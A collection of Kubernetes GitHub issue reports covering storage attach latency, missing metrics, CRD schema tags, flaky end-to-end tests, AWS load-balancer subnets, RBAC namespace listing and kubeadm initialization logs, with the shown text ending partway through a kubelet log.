includes execution of  udevadm trigger \r command, see links  1-3  below. the  udevadm trigger  generates a \ change\ \r event for every single device on the /sys/devices sysfs. this can be seen by\r running  udevadm monitor .\r \r the execution stack is as follows:\r     volume attacher interface  1  runs waitforattach  , which is implemented in  2 .\r     the cinder's waitforattach   runs probeattachedvolume   2 times per second\r      lines 243 and 247 . the \ 1 second\  retry timeout is defined by  3 .\r     the probeattachedvolume   is defined in  4 . it triggers scsi rescan and\r     generates udev \ change\  event on all devices by running  udevadm trigger .\r \r as you see, both scsi rescan and full udev rescan are triggered 2 times per second.\r \r the scsi bus rescan leads to considerable latency of runnig i/o operations.\r \r the sysemd-udevd is unable to process so many \ change\  events. the udev queue\r gets full, leading to frozen  docker ps  operation that cadvisor runs every 2 seconds.\r after 3 minutes, kubelet marks itself unhealthy  5  due to pleg  6 .\r \r \r  1   volume attacher interface runs waitforattach    https://github.com/kubernetes/kubernetes/blob/2723e06a251a4ec3ef241397217e73fa782b0b98/pkg/volume/volume.go l176 \r  2   cinder attacher implementation of waitforattach    https://github.com/kubernetes/kubernetes/blob/2723e06a251a4ec3ef241397217e73fa782b0b98/pkg/volume/cinder/attacher.go l224 \r  3   1 second retry timeout  https://github.com/kubernetes/kubernetes/blob/2723e06a251a4ec3ef241397217e73fa782b0b98/pkg/volume/cinder/attacher.go l237 \r  4   probeattachedvolume    https://github.com/kubernetes/kubernetes/blob/fc8bfe2d8929e11a898c4557f9323c482b5e8842/pkg/volume/cinder/cinder_util.go l222 \r  5   pleg healthcheck  https://github.com/kubernetes/kubernetes/blob/eb658d699ac074ef2a6f3808b13aacc6adfca786/pkg/kubelet/kubelet.go l748 \r  6   pleg implementation  https://github.com/kubernetes/kubernetes/blob/d196a4abbbf3f1ca458908abd42267b521a6faff/pkg/kubelet/pleg/generic.go l133 \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r      \r   client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r   server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r      \r - cloud provider or hardware configuration: vmware-integrated openstack  vio \r - os  e.g. from /etc/os-release : pretty_name=\ centos linux 7  core \ \r - kernel  e.g.  uname -a  : linux os1pi013-kube-node02.novalocal 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: saltstack scripts.\r - others: docker-1.12.5-14.el7.centos\r

 \r   what happened  :\r \r i've added a quick monitoring rule to check for version mismatched -  count kubernetes_build_info  by  gitversion, job   and found that the scheduler doesn't expose this metric.\r \r   what you expected to happen  :\r \r the scheduler should expose this metric.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run this query on a properly configured prometheus/kubernetes system:  count kubernetes_build_info  by  gitversion, job  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  :  linux 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools: custom terraform & puppet\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r /assign @humblec \r \r   what happened  :\r after https://github.com/kubernetes/kubernetes/pull/59879 merged, dynamic provisioning tests started to panic.\r \r testgrid: http://k8s-testgrid.appspot.com/sig-storage gce-slow\r logs: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/16656\r \r

the crd validation schema constructs have some structs without json tags: https://github.com/kubernetes/kubernetes/pull/65234. these structs are exposed in the openapi schema:\r \r    json\r \ io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemapropsorarray\ : {\r     \ description\ : \ jsonschemapropsorarray represents a value that can either be a jsonschemaprops or an array of jsonschemaprops. mainly here for serialization purposes.\ ,\r     \ required\ :  \r      \ schema\ ,\r      \ jsonschemas\ \r      ,\r     \ properties\ : {\r      \ jsonschemas\ : {\r       \ type\ : \ array\ ,\r       \ items\ : {\r        \ $ref\ : \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemaprops\ \r       }\r      },\r      \ schema\ : {\r       \ $ref\ : \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemaprops\ \r      }\r     }\r    },\r    \r \r with this schema:\r - the fields are exposed with uppercase names\r - they are marked as required\r \r this should be fixed to mark them as optional.\r \r \r maybe relevant, we could do something like:\r \r https://github.com/kubernetes/kubernetes/blob/3994829cb07e702956834d293510fa504ea2a5d6/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/duration.go l28\r \r    \r // openapischematype is used by the kube-openapi generator when constructing\r // the openapi spec of this type.\r //\r // see: https://github.com/kubernetes/kube-openapi/tree/master/pkg/generators\r func  _ time  openapischematype     string { return   string{\ string\ } }\r \r // openapischemaformat is used by the kube-openapi generator when constructing\r // the openapi spec of this type.\r func  _ time  openapischemaformat   string { return \ date-time\  }\r    \r \r   \r /cc @sttts @liggitt @caesarxuchao @lavalamp @mbohlool \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the test/e2e/storage/csi_volumes.go code creates a pod directly, without waiting for the service account secret to be available. depending on timing, this can fail with a  no api token found for service account \ csi-service-account\   error.\r \r   what you expected to happen  :\r \r it should use a daemonset instead, then the daemon set controller will ensure that the pod gets created eventually.  edit: when implementing the fix, i found it easier and less intrusive to just retry pod creation. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r it's not possible to trigger the failing race condition reliably. i've seen it a few times on my own cluster.\r \r   anything else we need to know?  :\r \r originally discussed in  67882 and in the csi working group meeting on monday, september 17th  https://docs.google.com/document/d/1-wmryvqw1frecd1jmzaojc0jx6gop8fmozsdqxhfot4/edit  .\r

after pr  17025, if you do a  kubectl create -f example/spark , this works  kubectl port-forward zeppelin-controller-84p9o 8080:8080 .  if you then connect to  http://localhost:8080  http://localhost:8080 , you'll get a \ connected\  zeppelin  see the green or red dot in the top right corner . however...  kubectl proxy --port=8001 , then:  http://localhost:8001/api/v1/proxy/namespaces/default/services/zeppelin  http://localhost:8001/api/v1/proxy/namespaces/default/services/zeppelin  doesn't. this suggests the application proxy is broken for this case.  zeppelin is upgrading to a websocket.

i'm finding that if you create a pv for nfs, that specifies a wrong ip address of the nfs server, the error is not found until very late in the user's experience if at all.  the pv appears to create without an error, the pvc that binds to the pv appears to create without an error.  nfs mount errors only appear when your pod tries to use the pvc and you often don't get an understandable error in the pod log other than \ pending\ .  if a redesign of this is in the works, it would be great to use this as a use case to provide better error messages back to the end-user earlier in the lifecycle  pv->pvc->pod .  perhaps some sort of nfs mount testing when the pv is first created?  i wouldn't think a pvc should be allowed to create and bind to a broken pv for example.

my environment kubernetes on local linux  ubuntu 14.04 amd64  without vm. docker version 1.11.2 i update kubernetes from v1.1.7 to v1.3.0 and get this error in apiserver.log:   0708 22:44:25.536021    7220 controller.go:121  unable to sync kubernetes service: endpoints \ kubernetes\  is invalid: subsets 0 .addresses 0 .ip: invalid value: \ 127.0.0.1\ : may not be in the loopback range  127.0.0.0/8  i0708 22:44:26.096231    7220 handlers.go:165  get /api/v1/nodes:  1.092476ms  200   hyperkube/v1.3.0+2831379  linux/amd64  kubernetes/2831379/node-controller  127.0.0.1:48018  i0708 22:44:27.473522    7220 handlers.go:165  get /api/v1/nodes/127.0.0.1:  1.260347ms  200   hyperkube/v1.3.0+2831379  linux/amd64  kubernetes/2831379  127.0.0.1:47991  i0708 22:44:27.524569    7220 handlers.go:165  put /api/v1/nodes/127.0.0.1/status:  3.781372ms  200   hyperkube/v1.3.0+2831379  linux/amd64  kubernetes/2831379  127.0.0.1:47991  i0708 22:44:31.098651    7220 handlers.go:165  get /api/v1/nodes:  1.290067ms  200   hyperkube/v1.3.0+2831379  linux/amd64  kubernetes/2831379/node-controller  127.0.0.1:48018  w0708 22:44:35.538069    7220 controller.go:307  resetting endpoints for master service \ kubernetes\  to kind:\ \  apiversion:\ \    this seems cause rest api not working. i don't have this problem with kubernetes v1.1.7.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-soak-continuous-e2e-gce/6512/  failed:  k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 100 pods per node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:278 sep  7 04:56:39.012: memory usage exceeding limits:  node jenkins-e2e-minion-group-4yze:  container \ kubelet\ : expected rss memory  mb  < 83886080; got 85123072 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:153      previous issues for this test:  26982

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-autoscaling/171/  failed:  k8s.io  cluster size autoscaling  slow  should correctly scale down after a node is not needed when there is non autoscaled pool feature:clustersizeautoscalingscaledown  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:289 expected error:     < errors.errorstring | 0xc820b30aa0>: {         s: \ timeout waiting 5m0s for appropriate cluster size\ ,     }     timeout waiting 5m0s for appropriate cluster size not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:280

this way we'll be able to easily compare accuracy of the benchmark and make reduce the code duplication.  cc @wojtek-t @hongchaodeng

this is up for debate but having one file with a constant name e.g. client.go per package makes it much easier to declare expected output for codegen phases which is required to construct a correct build dependency graph. right now, the number and name of generated files are often dependent on the number and names of types in the input.\r \r these are fairly easy changes to make so if there isn't objection to this, i'm happy to move generators over to this style.\r \r cc @kubernetes/sig-api-machinery

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-proto/5679/ multiple broken tests:  failed:  k8s.io  metricsgrabber should grab all metrics from a kubelet. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/metrics_grabber_test.go:57 expected error:     < errors.statuserror | 0xc4211ae100>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ error: 'read tcp 10.240.0.2:33746->10.240.0.4:10250: read: connection reset by peer'\\\ trying to reach: 'https://bootstrap-e2e-minion-group-4qs9:10250/metrics'\\\   has prevented the request from succeeding  get nodes bootstrap-e2e-minion-group-4qs9:10250 \ ,             reason: \ internalerror\ ,             details: {                 name: \ bootstrap-e2e-minion-group-4qs9:10250\ ,                 group: \ \ ,                 kind: \ nodes\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ error: 'read tcp 10.240.0.2:33746->10.240.0.4:10250: read: connection reset by peer'\ trying to reach: 'https://bootstrap-e2e-minion-group-4qs9:10250/metrics'\ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 503,         },     }     an error on the server  \ error: 'read tcp 10.240.0.2:33746->10.240.0.4:10250: read: connection reset by peer'\ trying to reach: 'https://bootstrap-e2e-minion-group-4qs9:10250/metrics'\   has prevented the request from succeeding  get nodes bootstrap-e2e-minion-group-4qs9:10250  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/metrics_grabber_test.go:55     issues about this test specifically:  27295  35385  36126  37452  37543   failed:  k8s.io  dns configmap federations should be able to change federation configuration {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns_configmap.go:43 expected error:     < errors.errorstring | 0xc4203d3ce0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns_common.go:268     issues about this test specifically:  43100   failed: test {e2e.go}      error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --kube-api-content-type=application/vnd.kubernetes.protobuf: exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025   failed:  k8s.io  probing container should be restarted with a exec \ cat /tmp/health\  liveness probe  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/container_probe.go:122 mar 21 05:56:17.454: pod e2e-tests-container-probe-qg742/liveness-exec - expected number of restarts: 1, found restarts: 0 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/container_probe.go:404     issues about this test specifically:  30264  previous issues for this suite:  36946  37034  40447  42100  43345

problem:\r users today can run  kubectl delete rs  that does cascading deletion by default and hence will also end up deleting all the pods, even though they might have been serving live traffic.\r the problem is even more severe in the case of federation since the deletion impacts multiple clusters and can cause global outages.\r \r one possible solution:\r when user creates an ingress  or service  targeting an rs, we should add a finalizer to the backend pods for that ingress to ensure that they cant be deleted unless the ingress is deleted.\r once user deletes the ingress, they can go ahead and delete the rs.\r \r cc @quinton-hoole @bgrant0607 @kubernetes/sig-federation-feature-requests

failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html ea6679417165f10786e6\r example run: \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-multizone/6060 teardown-previous\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ha-master/5666 teardown-previous\r \r /assign @madhusudancs

the service registry is the only kube rest endpoint that doesn't use generic store directly  because of the complex allocation logic .  now that we have initializers, we potentially can move cluster ip allocation to an initializer.  however, until we refactor the rest endpoint to be based on generic.store, it doesn't support initializers  didn't do that in 1.7 .  so:\r \r 1. should we split the ip allocation bit to an initializer?  pro: decouples that logic from master, con: more work, potential chicken and egg scenarios in bootstrap\r 2. if we do, we'll need to expose range allocation as a public api resource  controllers don't have access to etcd .  pro: other components need range allocations, plus the upcoming roar work implies we need to move versions, con: more work, may not be able to agree on range allocation api design\r \r i realized that in openshift we also need range allocation as an api  https://github.com/openshift/origin/issues/14731 .\r \r i don't know that this  has  to be done - but this logic is one of the things that doesn't fit particularly well in the master that we have long wanted to move to a controller.  and if we move to an initializer here it opens the door for other initializers like lb and better decoupling from core kube.\r \r @kubernetes/sig-api-machinery-misc @kubernetes/sig-network-misc

in 1.8 we want to graduate master metrics api to beta. this issue is about collecting feedback on the api and what needs to be changed before beta.\r \r the api was defined in  the proposal  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/resource-metrics-api.md  and implemented in  metrics repo  https://github.com/kubernetes/metrics/tree/master/pkg/apis/metrics .\r \r related effort -  metrics server  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/metrics-server.md .\r feature issue: https://github.com/kubernetes/features/issues/271\r \r @directxman12 you had some thoughts on this. could you please list them here?\r \r cc @kubernetes/sig-instrumentation-misc @kubernetes/api-reviewers

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r bug report\r  \r   what happened  : i created a pvc for a managed disk. it created very quickly. it took longer for the pv to show up. i suspect this is because we didn't override the poll duration like we do for some of the other clients: https://github.com/kubernetes/kubernetes/blob/8b30aaec39800616e8a8578d54222853689211c5/pkg/cloudprovider/providers/azure/azure.go l271\r \r maybe consider changing the poll duration?\r \r   what you expected to happen  : the pv to show up faster after the disk was provisioned and visible in the portal.\r \r   how to reproduce it  as minimally and precisely as possible   : boot a 1.7.2 or higher, apply this gist: https://gist.github.com/colemickens/0cd6a12fdbf5a8b5040724a0b8e900fd\r \r   anything else we need to know?  : n/a\r \r   environment  : azure\r - kubernetes version  use  kubectl version  : \r  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r  server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2+coreos.0\ , gitcommit:\ c6574824e296e68a20d36f00e71fa01a81132b66\ , gittreestate:\ clean\ , builddate:\ 2017-07-24t23:28:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release : \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1353.8.0\r version_id=1353.8.0\r build_id=2017-05-30-2322\r pretty_name=\ container linux by coreos 1353.8.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r    \r - kernel  e.g.  uname -a  :  linux colemick172-master-0 4.9.24-coreos  1 smp tue may 30 23:12:01 utc 2017 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux \r - install tools:  tectonic-installer

 \r   what happened  :\r currently,  obj.spec.selector.matchlabels  is set to  obj.spec.template.labels  if  obj.spec.template.labels != nil && obj.spec.selector == nil . we should not perform this defaulting operation as controller selectors are meant to be immutable.\r \r   what you expected to happen  :\r no defaulting operation happens for controller selectors.\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r using a kops deployed kubernetes cluster with a private topology on aws, when creating a service resource with spec.type == loadbalancer _and_ metadata.annotations 'service.beta.kubernetes.io/aws-load-balancer-internal'  == 0.0.0.0/0 the subnet is chosen randomly per az between a public and private subnet yielding inconsistent networking around the elb.\r \r   what you expected to happen  :\r i have my k8s vpc peered with another vpc from which i'd like to access the internal service elb, but to say if that access is expected is tricky because at this point both public and private subnets are usually added in a multi-az setup resulting in me sometimes achieving my use case and sometimes not, depending on which az my browser request hits. i guess i'd expect either all private or all public networks attached, altho i think selfishly i'd like all public because that achieves my use case.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a private topology cluster with kops, edit the cluster to make the network sizes for public and private the same  this is very important, i think aws orders subnets in the api by size and so introducing a ghetto way to work around this , deploy out an internal elb service resource and check which subnets are assigned to it. the more azs the more likely to see the issue.\r \r   anything else we need to know?  :\r https://github.com/kubernetes/kubernetes/blob/release-1.7/pkg/cloudprovider/providers/aws/aws.go l2412 shows exactly how this very bug is avoided on external elbs but without an equivalent check on internal elbs the subnet that gets assigned per az is based on potentially random ordering.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.2\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : debian\r - kernel  e.g.  uname -a  : 4.4.65-k8s\r - install tools: kops\r - others:

pkg/cloudprovider/providers/gce/gce_annotations.go has:\r \r    \r lbtypeinternal loadbalancertype = \ internal\ \r    \r \r that should be internal.  we should fix and allow both in annotation.

 \r i wasn't able to find a way for users to view the list of namespaces that they may be able to perform operations against, if they don't have explicit permissions to perform a  list  operation on the  namespace  resource.\r \r for example, with the built-in rbac system a user may only have a single  rolebinding , for a role that grants only  podcreate  on namespace  foo . the user would have to know to set  foo  as their context.\r \r is this possible today for the rbac authorizer? if not, what would the addition of such an api require, given the various options for authorization  webhook, abac, rbac ?

 \r  \r   what happened  :\r    \r  root@app197 gabriel $ kubeadm init --config=/root/kube-init-config.yaml\r  init  using kubernetes version: v1.10.0\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks.\r  warning fileexisting-crictl : crictl not found in system path\r suggestion: go get github.com/kubernetes-incubator/cri-tools/cmd/crictl\r  preflight  starting the kubelet service\r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  app197 kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 10.7.101.22 10.7.101.240 \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated etcd/ca certificate and key.\r  certificates  generated etcd/server certificate and key.\r  certificates  etcd/server serving cert is signed for dns names  localhost  and ips  127.0.0.1 \r  certificates  generated etcd/peer certificate and key.\r  certificates  etcd/peer serving cert is signed for dns names  app197  and ips  10.7.101.22 \r  certificates  generated etcd/healthcheck-client certificate and key.\r  certificates  generated apiserver-etcd-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ .\r  init  this might take a minute or longer if the control plane images have to be pulled.\r    \r \r   kubelet logs  \r \r    \r flag --pod-manifest-path has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r flag --allow-privileged has been deprecated, will be removed in a future version\r flag --cluster-dns has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r flag --cluster-domain has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r flag --authorization-mode has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r flag --client-ca-file has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r flag --cadvisor-port has been deprecated, the default will change to 0  disabled  in 1.12, and the cadvisor port will be removed entirely in 1.13\r flag --cgroup-driver has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r i0406 17:50:25.501779   37124 feature_gate.go:226  feature gates: &{{} map  }\r w0406 17:50:25.507597   37124 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r w0406 17:50:25.510744   37124 hostport_manager.go:68  the binary conntrack is not installed, this can cause failures in network connection cleanup.\r i0406 17:50:25.510783   37124 server.go:376  version: v1.10.0\r i0406 17:50:25.510822   37124 feature_gate.go:226  feature gates: &{{} map  }\r i0406 17:50:25.510923   37124 plugins.go:89  no cloud provider specified.\r e0406 17:50:25.535845   37124 certificate_manager.go:299  failed while requesting a signed certificate from the master: cannot create certificate signing request: post https://10.7.101.22:6443/apis/certificates.k8s.io/v1beta1/certificatesigningrequests: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r i0406 17:50:25.545582   37124 server.go:613  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r i0406 17:50:25.546040   37124 container_manager_linux.go:242  container manager verified user specified cgroup-root exists: /\r i0406 17:50:25.546050   37124 container_manager_linux.go:247  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproot:/ cgroupdriver:systemd kubeletrootdir:/var/lib/kubelet protectkerneldefaults:false nodeallocatableconfig:{kubereservedcgroupname: systemreservedcgroupname: enforcenodeallocatable:map pods:{}  kubereserved:map   systemreserved:map   hardevictionthresholds: {signal:nodefs.inodesfree operator:lessthan value:{quantity:<nil> percentage:0.05} graceperiod:0s minreclaim:<nil>} {signal:imagefs.available operator:lessthan value:{quantity:<nil> percentage:0.15} graceperiod:0s minreclaim:<nil>} {signal:memory.available operator:lessthan value:{quantity:100mi percentage:0} graceperiod:0s minreclaim:<nil>} {signal:nodefs.available operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} } experimentalqosreserved:map   experimentalcpumanagerpolicy:none experimentalcpumanagerreconcileperiod:10s experimentalpodpidslimit:-1 enforcecpulimits:true}\r i0406 17:50:25.546183   37124 container_manager_linux.go:266  creating device plugin manager: true\r i0406 17:50:25.546266   37124 state_mem.go:36   cpumanager  initializing new in-memory state store\r i0406 17:50:25.546367   37124 state_file.go:82   cpumanager  state file: created new state file \ /var/lib/kubelet/cpu_manager_state\ \r i0406 17:50:25.546449   37124 kubelet.go:272  adding pod path: /etc/kubernetes/manifests\r i0406 17:50:25.546480   37124 kubelet.go:297  watching apiserver\r e0406 17:50:25.563381   37124 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.7.101.22:6443/api/v1/pods?fieldselector=spec.nodename%3dapp197&limit=500&resourceversion=0: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r e0406 17:50:25.563437   37124 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://10.7.101.22:6443/api/v1/nodes?fieldselector=metadata.name%3dapp197&limit=500&resourceversion=0: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r e0406 17:50:25.564298   37124 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://10.7.101.22:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r w0406 17:50:25.564415   37124 kubelet_network.go:139  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r i0406 17:50:25.564432   37124 kubelet.go:556  hairpin mode set to \ hairpin-veth\ \r w0406 17:50:25.564501   37124 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r i0406 17:50:25.564540   37124 client.go:75  connecting to docker on unix:///var/run/docker.sock\r i0406 17:50:25.564549   37124 client.go:104  start docker client with request timeout=2m0s\r w0406 17:50:25.568641   37124 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r w0406 17:50:25.571070   37124 hostport_manager.go:68  the binary conntrack is not installed, this can cause failures in network connection cleanup.\r w0406 17:50:25.571140   37124 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r i0406 17:50:25.571163   37124 docker_service.go:244  docker cri networking managed by cni\r i0406 17:50:25.585704   37124 docker_service.go:249  docker info: &{id:fj3o:bxot:3d2f:vpke:6suz:wdtm:7jfr:5s2g:ojaj:lhzv:db5n:rqw2 containers:0 containersrunning:0 containerspaused:0 containersstopped:0 images:0 driver:overlay2 driverstatus:  backing filesystem xfs   supports d_type true   native overlay diff true   systemstatus:   plugins:{volume: local  network: bridge host macvlan null overlay  authorization:   log:  } memorylimit:true swaplimit:true kernelmemory:true cpucfsperiod:true cpucfsquota:true cpushares:true cpuset:true ipv4forwarding:true bridgenfiptables:true bridgenfip6tables:true debug:false nfd:16 oomkilldisable:true ngoroutines:25 systemtime:2018-04-06t17:50:25.572763601+02:00 loggingdriver:journald cgroupdriver:systemd neventslistener:0 kernelversion:3.10.0-693.21.1.el7.x86_64 operatingsystem:centos linux 7  core  ostype:linux architecture:x86_64 indexserveraddress:https://index.docker.io/v1/ registryconfig:0xc42020e000 ncpu:2 memtotal:8362881024 genericresources:   dockerrootdir:/docker-data httpproxy:http://eproxy.siege.red:80/ httpsproxy:http://eproxy.siege.red:80/ noproxy: name:app197 labels:   experimentalbuild:false serverversion:1.13.1 clusterstore: clusteradvertise: runtimes:map docker-runc:{path:/usr/libexec/docker/docker-runc-current args:  } runc:{path:docker-runc args:  }  defaultruntime:docker-runc swarm:{nodeid: nodeaddr: localnodestate:inactive controlavailable:false error: remotemanagers:   nodes:0 managers:0 